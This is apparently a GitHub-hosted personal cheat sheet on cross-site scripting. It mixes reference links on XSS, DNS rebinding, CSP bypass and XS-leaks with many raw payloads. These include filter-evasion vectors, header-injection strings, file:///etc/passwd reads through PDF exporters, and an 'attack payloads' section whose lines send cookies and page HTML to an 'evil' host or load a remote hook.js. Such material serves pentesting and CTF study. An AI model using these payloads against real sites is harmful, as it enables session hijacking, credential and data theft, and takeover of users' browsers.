-
Notifications
You must be signed in to change notification settings - Fork 83
/
xss
220 lines (167 loc) · 10.6 KB
/
xss
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
# xss
https://github.com/s0md3v/AwesomeXSS # ./Database/jackmasa-mind-map.png
https://netsec.expert/posts/xss-in-2021/
https://blog.cm2.pw/exploiting-post-based-xssi/
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
http://www.xss-payloads.com/ # keylogger, screenshot ...
https://html5sec.org/ https://github.com/cure53/H5SC https://github.com/cure53/XSSChallengeWiki/wiki/prompt.ml
# dns rebinding
https://github.com/mpgn/ByP-SOP
https://github.com/nccgroup/singularity
https://bookgin.tw/2019/01/05/abusing-dns-browser-based-port-scanning-and-dns-rebinding/
https://lock.cmpxchg8b.com/rebinder.html
https://github.com/daeken/httprebind
# blind
https://github.com/mandatoryprogrammer/xsshunter
https://github.com/Netflix/sleepy-puppy
# test code online
http://jsfiddle.net/
https://codepen.io/
# evasion
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
~/Documents/papers/favorite_xss_filter_and_bypass.pdf,xss_bypass.txt
https://soroush.secproject.com/blog/2014/04/how-did-i-bypass-everything-in-modsecurity-evasion-challenge/
http://sirdarckcat.blogspot.com.au/
https://www.youtube.com/watch?v=e4dFCyYnCcM "Unusual Web Bugs" by kuza55
https://github.com/aemkei/katakana.js # Write JavaScript alert(1) with Katakana characters only
# safari URL redirection XSS - CVE-2016-4585
http://www.mbsd.jp/blog/20160921_2.html
# xss in 302 Redirect
https://www.gremwell.com/firefox-xss-302 use ws://, wss://, //x:1/ or mailto://
# flash
https://labs.mwrinfosecurity.com/blog/popping-alert1-in-flash/
http://web.archive.org/web/20130808104241/http:/appsec.ws/FlashExploitDatabase.php
# misc tricks / filter evasion
https://github.com/terjanq/Tiny-XSS-Payloads
<svg/onload=alert(document.domain)>;
<svg/onload=window.onerror=alert;throw/XSS/;//
<iframe/onload=action=/confir/.source+'m';eval(action)(1)>
<body/onload=
" style="tr:expression(malicious_script)
document['location']='http://3652113177/'+document['cookie']
onfocus="alert(0)" autofocus="autofocus" asdf="
<style>body > *{display:none;}body:after{font-size:xx-large;content:"this is not how you send people to mars"}</style>
div><img/src=a onerror=alert(0)>
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAHElEQVQI12P4//8/w38GIAXDIBKE0DHxgljNBAAO9TXL0Y4OHwAAAABJRU5ErkJggg==" alt="Red dot" />
Location: data:text/html;base64,PHNjcmlwdD5hbGVydCgwKTwvc2NyaXB0Pg== # based64(<script>alert(0)</script>)
<meta http-equiv="refresh" content="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgwKTwvc2NyaXB0Pg=="> # ff
"><x style="x:expression(alert(0)) # ie
<ScRiPt>
<scrscriptipt> or <scr<script>ipt>
<<b>script> // ruby strip_tags()
target=""onload="..." // filter to remove target/onload/... is applied only once (yammer worm)
%c0%bcscript%c0%bealert ...
eval(String.fromCharCode(...
<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')"> // IE, some versions of Safari and others) allow JavaScript in CSS, use the moz-binding CSS property for Gecko-based browsers
alert(eval('document.body.inne' + 'rHTML'));
alert?.(document?.cookie)
java%0ascript
prompt(1), confirm(...)
oninput= onplay= // html5
<form, oninput=prompt(1)> works too
html-encode : -> : url-encode-> %26%2358%3B
charsets...
<script src="https://../export.jsp;.html?name=%0D%0AContent-Type:%20text/html%0d%0aLast-Modified:%20Tue,%2015%20Nov%201994%2012:45:26 GMT%0d%0aExpires:%20Tue,%2015%20Nov%202015%2012:45:26%20GMT%0d%0a%0d%0a<script>alert(1)</script>" ></script>
<iframe src="https://../export.jsp;.html?name=%0D%0AContent-Type:%20text/html%0d%0aLast-Modified:%20Tue,%2015%20Nov%201994%2012:45:26 GMT%0d%0aExpires:%20Tue,%2015%20Nov%202015%2012:45:26%20GMT%0d%0a%0d%0a<script>alert(1)</script>" ></iframe>
exec js in ff when Content-Type: xml
<a xmlns:a='http://www.w3.org/1999/xhtml'><a:body onload='alert(1)'/>
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">alert(1);</script>
</svg>
or
<svg><use xlink:href="data:image/svg+xml;base64,PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB3aWR0aD0iMTAwIiBoZWl0aHQ9IjEwMCI+CiAgPHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4KICA8Zm9yZWlnbk9iamVjdCB3aWR0aD0iMTAwIiBoZWlnaHQ9IjUwIiByZXF1aXJlZEV4dGVuc2lvbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiPgogIDxlbWJlZCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCIgc3JjPSJqYXZhc2NyaXB0OmFsZXJ0KCd4c3MnKSIgLz4KICA8L2ZvcmVpZ25PYmplY3Q+Cjwvc3ZnPg==#rectangle"></svg>
or
<svg><a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="javascript:alert(1)"><rect width="1000" height="1000" /></a></svg>
<link rel="stylesheet" href="https://192.168.122.1:8443/xss.css"> # ie6 OK
xss.css:
body {
background-image: url('javascript:alert("XSS");')
}
<audio src=x onerror=prompt(1)>
var a="alert(doc"+"ument..."; eval(a)
eval(location.hash.substr(1))
# moar tricks
* http://www.slideshare.net/codeblue_jp/cb14-masato-kinugawaen
if can set encoding in URL (see http://l0.cm/encodings/table/)
location.href => http://evil%2f@www.youtube.com/
feed://evil.cm%2f/x.rss%3f@vulnsite.com/
* michele orru
<html><head></head><body><div style="font-family:a/**/ression(alert(666))('\')exp\')">pwn</div></body></html> # ie <= 9
* carlos
<%foo onmouseover=alert(1)>blah # ie9 allows to define custom tags
* httponly bypass
asp.net: the csrf protection is to actually include the session ID is in the ViewState (owasp)
* delay page load
<link rel="stylesheet" href="http://..">
# attack payloads
window.location='https://evil/?c='.concat(document.cookie);
<script src="data:, location.replace('https://evil/?c='.concat(document.cookie));"
<script src="data:text/javascript, fetch('https://evil/'+document.cookie,{method:'POST',mode:'no-cors',body:document.body.innerText})"
new Image().src="https://evil/?c="+encodeURIComponent(btoa(window.top.frames[0].document.body.innerHTML));
<img src=x onerror="fetch('https://evil/?c='%2bdocument.referrer)"> # https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API/Using_Fetch
<img src=x onerror=eval(atob(..))> == onerror=eval(unescape(/x%3dnew%20XMLHTTPRequest%28%29%3b.../.source))>
<iframe frameborder=0 height=0 width=0 src=javascript:void(document.location="http://evil/?c="+document.cookie)></iframe>
<iframe onload='var sc=document.createElement("scr"%2b"ipt");sc.type="text/javascr"%2b"ipt";sc.src="http://x.x.x.x:3000/hook.js";document.body.appendChild(sc);'/>
<iframe src=//evil /> and index.html: <script src="http://x.x.x.x:3000/hook.js" type="text/javascript"></script>
document.body.appendChild(document.createElement("script")).src="http://x.x.x.x:3000/hook.js"
<script>var x=new XMLHttpRequest();x.open("POST","http://evil/",true);x.setRequestHeader("Content-type","application/x-www-form-urlencoded");x.send("x="+btoa(document.body.innerHTML));</script>
?q=%3Clink%0Crel%3Dimport%0Chref%3D%2F%2Fevil%3E # google-ctf-2016 final destination
<a href="javascript:location='http://evil/'%2bdocument.cookie" onclick="">x</a> # google-ctf-2016 geokitties trick where waf triggered when there was any non-empty event handler
\x3cimg src=a onerror=\u0022eval(String.fromCharCode(..))\u0022\x3e # 0ctf-2016 guestbook
<script src='https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.1/jquery.js'></script>
<script>
var x = $('body').html().toString();
$.post('http://evil/analytics', x);
</script>
<div id=payload data-x="x:fetch(..).then(_=>_.text()).then(_=>fetch('me',{method:'post',mode:'no-cors',body:_}))"></div> + eval(payload.dataset.x)
# bypass Content-Disposition: attachment
see "Unusual Web Bugs"
* works on my w2k3 IE8
http://www.awgh.org/archives/57 (CVE-2009-1140 / MS09-019)
upload: <html><head><title>XSS Test Page</title><script>alert(document.cookie);</script></head><body><code>alert(document.cookie);</code></body></html>
* works on ie6 & ie7
http://sirdarckcat.blogspot.com.au/2007/12/bypassing-content-disposition.html
# IE content sniffing / MIME-type confusion
http://blog.detectify.com/post/53925159976/how-to-avoid-ie-content-sniffing-xss-attacks
upload test.qwefhj: <html><body><script>alert(document.cookie)</script></body></html>
fix: "X-Content-Type-Options: nosniff" header (http://msdn.microsoft.com/en-us/library/ie/gg622941%28v=vs.85%29.aspx) only supported since IE9
http://msdn.microsoft.com/en-us/library/ms775147.aspx
works in old IE or if compatibility view is turned on
# IIS filter bypass
https://blog.whitehatsec.com/internet-explorer-xss-filter/
http://www.quotium.com/research/advisories/XSS-NetRequestValidation.php
http://www.jardinesoftware.net/2012/08/29/another-request-validation-bypass/ (same post?)
# XSS Auditor bypass
http://www.thespanner.co.uk/2015/02/19/another-xss-auditor-bypass/
# CSP tricks
https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22
http://blog.portswigger.net/2016/12/bypassing-csp-using-polyglot-jpegs.html
https://conference.hitb.org/hitbsecconf2016ams/materials/D1T2%20-%20Michele%20Spagnuolo%20and%20Lukas%20Weichselbaum%20-%20CSP%20Oddities.pdf
# length restriction bypasses
convert to domxss: <script>eval(location.hash.substr(1))</script>
span an attack payload across multiple fields (twahh p.412)
# dangling markup injection
https://lcamtuf.coredump.cx/postxss/
# sop for file: URIs
https://developer.mozilla.org/en-US/docs/Archive/Misc_top_level/Same-origin_policy_for_file:_URIs
https://juplo.de/bypassing-the-same-origin-policiy-for-loal-files-during-development/
# pdf export functionality
https://portswigger.net/research/portable-data-exfiltration
https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf
https://media.defcon.org/DEF%20CON%2027/DEF%20CON%2027%20presentations/DEFCON-27-Ben-Sadeghipour-Owning-the-clout-through-SSRF-and-PDF-generators.pdf
<link rel="attachment" href="file:///etc/passwd">
<script type="text/plain" src="file:/etc/passwd"></script>
# xs leaks / xs search
https://xsleaks.dev/ https://github.com/xsleaks/wiki
# samesite cookie attribute
https://twitter.com/hackerscrolls/status/1343255733413027843
https://jub0bs.com/posts/2021-01-29-great-samesite-confusion/
# redos & side channel exfil
https://speakerdeck.com/lmt_swallow/revisiting-redos-a-rough-idea-of-data-exfiltration-by-redos-and-side-channel-techniques
# postMessage
https://github.com/EdOverflow/bugbountywiki/wiki/postMessage-issues
https://labs.detectify.com/2016/12/15/postmessage-xss-on-a-million-sites/
# WAF blocks <[a-zA-Z]
https://portswigger.net/research/documenting-the-impossible-unexploitable-xss-labs covers this in "Basic HTML context but WAF blocks <[a-zA-Z]"
allows non-html content injection though (i.e attacker can write new sentences), not the greatest bug